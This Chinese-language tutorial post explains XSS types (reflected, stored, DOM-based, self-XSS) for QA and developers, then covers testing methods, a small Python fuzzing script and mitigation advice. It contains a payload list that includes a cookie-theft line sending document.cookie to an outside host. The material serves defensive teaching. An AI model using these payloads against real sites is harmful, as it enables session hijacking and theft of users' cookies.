根据我所看到的统计数据和我的经验,XSS 漏洞仍然是 Web 应用程序的普遍威胁,带来数据盗窃、会话劫持和网站问题的风险。我决定花更多时间研究这种漏洞类型,并至少与您分享这种概述式的基础知识,以便许多 QA 和开发专家可能会记住一些方法来测试他们的应用程序以解决此问题。本文探讨了不同类型的 XSS、测试方法和自动化方法,并提供了一些有效渗透测试的示例和有效负载。
跨站点脚本攻击 (XSS)允许攻击者利用客户端代码执行中的漏洞,将恶意脚本注入其他用户查看的网页中。了解不同类型的 XSS 漏洞并使用正确的测试策略对于构建免受此类攻击的安全 Web 应用程序至关重要。
当不受信任的用户输入未得到充分净化并在 Web 应用程序中执行时,就会发生 XSS 攻击,从而使攻击者能够在其他用户的浏览器上下文中注入并执行恶意脚本。
当用户提供的数据未经适当验证而在响应中回显时发生。
示例:通过 URL 参数注入<script>alert('XSS_DEMO')</script>
。
当 Web 应用程序将未经验证的用户输入反映到用户浏览器而没有进行适当的清理时,就会发生这些漏洞。在此攻击中,攻击者制作一个包含脚本代码的恶意 URL,当受害者单击该脚本代码时,该 URL 将在易受攻击的网页上下文中执行。恶意脚本不存储在服务器上,而是直接从用户的输入中反映出来。反射型 XSS 漏洞通常被用于网络钓鱼攻击或操纵用户的浏览体验。影响可能很严重,从 cookie 盗窃到会话劫持。
恶意脚本永久存储在服务器上,并在其他用户访问时执行。
示例:存储在论坛帖子或社交网络个人资料页面上的评论/帖子中的恶意脚本。
也称为持久性 XSS,当攻击者将恶意脚本代码注入 Web 应用程序,然后将其存储在服务器端时,就会出现这种情况。每当其他用户访问易受攻击的页面时,就会检索并执行此注入的脚本。存储型 XSS 攻击特别危险,因为注入的脚本会随着时间的推移而持续存在,可能会影响多个用户并导致广泛的利用。攻击者通常以用户生成的内容为目标,例如显示在网页或个人资料字段上的评论、论坛帖子、实体名称,以执行其恶意负载。存储的 XSS 后果可能包括数据盗窃、帐户接管和网站篡改,给用户和受影响的组织带来重大风险。
脚本的执行依赖于客户端对 DOM 的操作。
示例: JS 代码从 URL 哈希中检索并执行用户控制的数据。
当 Web 应用程序以不安全的方式基于不受信任的用户输入动态操作 DOM 时,就会发生这种情况。与涉及服务器端处理的传统 XSS 攻击不同,基于 DOM 的 XSS 完全表现在客户端。攻击者通过操纵客户端脚本在受害者的浏览器中执行任意代码来利用基于 DOM 的 XSS。这种类型的 XSS 通常更难检测和缓解,因为该漏洞存在于客户端代码中,并且在服务器端测试期间可能并不明显。基于 DOM 的 XSS 攻击可能会导致各种后果,包括会话劫持、数据泄露和代表用户进行未经授权的操作,这凸显了客户端安全措施和警惕 Web 应用程序开发实践的重要性。
这是一种社会工程攻击,攻击者诱骗用户在浏览器中执行恶意代码。与针对多个用户的传统 XSS 攻击不同,Self-XSS 利用用户的信任在其会话中执行代码。通常,攻击者会诱骗受害者以无害操作(例如解锁功能或赚取奖励)为幌子,将看似无辜的 JS 代码粘贴到浏览器的开发者控制台或网站的某些字段中。一旦执行,注入的代码可能会危害受害者的帐户、窃取敏感信息或代表他们执行未经授权的操作。尽管仅限于受害者的会话,但 Self-XSS 仍然是一种威胁,这强调了用户教育和意识的重要性,以识别和避免此类欺骗策略。
你可以写一些脚本;我更喜欢Python,例如:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
分析响应以确定是否反映或执行了有效负载。创建 PoC,了解潜在影响并确定解决问题的优先顺序。
脚步:
在应用程序的输入字段中输入脚本标记,后跟一些 JS 代码。
例如,基本的 XSS 负载:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
提交输入并查看脚本是否执行。
如果是,则应用程序很容易受到 XSS 攻击。
如果脚本未执行,请尝试通过添加其他 HTML 标记(例如<img>
或<iframe>
来修改输入,并查看它们是否反映在页面上(例如,这个几乎总是适合我):
<b>t</b>#`"/*—est
您可以添加脚本来查询 Web 应用程序 URL 的参数或用户名、上传的文件名或将在应用程序页面上显示的任何您可以更改的文本。
注意输入的前端验证。始终尝试使用直接请求(使用 Postman、Burp 或任何类似工具)提交值。
检查开发工具中的浏览器控制台,因为有时您可能看不到页面上任何可见的更改,但某些符号,例如`"/*—
可能会破坏页面的 JS/HTML,并且您会在控制台中看到一条警告,该警告可能会破坏页面的 JS/HTML。提示您如何修改有效负载以获得 XSS PoC
使用模糊测试和有效负载列表 - 尽可能自动化此方法或使用特殊工具。
就我个人而言,我喜欢使用这里的有效负载和信息,在我看来,这是一个非常有用的资源。
XSS 验证
print()
函数等替代有效负载。高级 XSS 攻击
绕过 XSS 过滤器
根据呈现输出数据的上下文对数据进行编码。对 HTML、JS、CSS 和其他上下文应用不同的编码方法,以确保全面防御 XSS。
例如,对 HTML 内容使用 HTML 实体编码,对内联脚本上下文使用 JavaScript 转义,对样式属性使用 CSS 转义,以防止脚本注入并维护各种输出上下文中的数据完整性。
实施输入白名单和黑名单,以根据允许和禁止的字符、模式或内容类型的预定义允许列表和拒绝列表来过滤和验证用户输入。
XSS 对 Web 应用程序构成持续威胁,导致数据泄露和用户信任面临风险。了解 XSS 类型和测试方法对于有效缓解至关重要。输入验证、输出编码和 CSP 实施等预防技术可提高应用程序的安全性。通过优先考虑安全实践和协作,团队可以保护其应用程序免受 XSS 侵害,并确保足够的 Web 应用程序安全性。
如果您是初学者并且对网络安全和渗透测试感兴趣,或者只是想改进您的应用程序以使其更安全,您可以阅读我关于以下主题的文章:
有关 XSS 和负载的更多详细信息,您可以找到以下资源:
始终在明确许可的情况下并在受控环境中进行渗透测试。这种道德方法确保安全评估与负责任的测试协议保持一致,防止系统无意中受到损害,并维护测试过程和总体网络安全策略的完整性。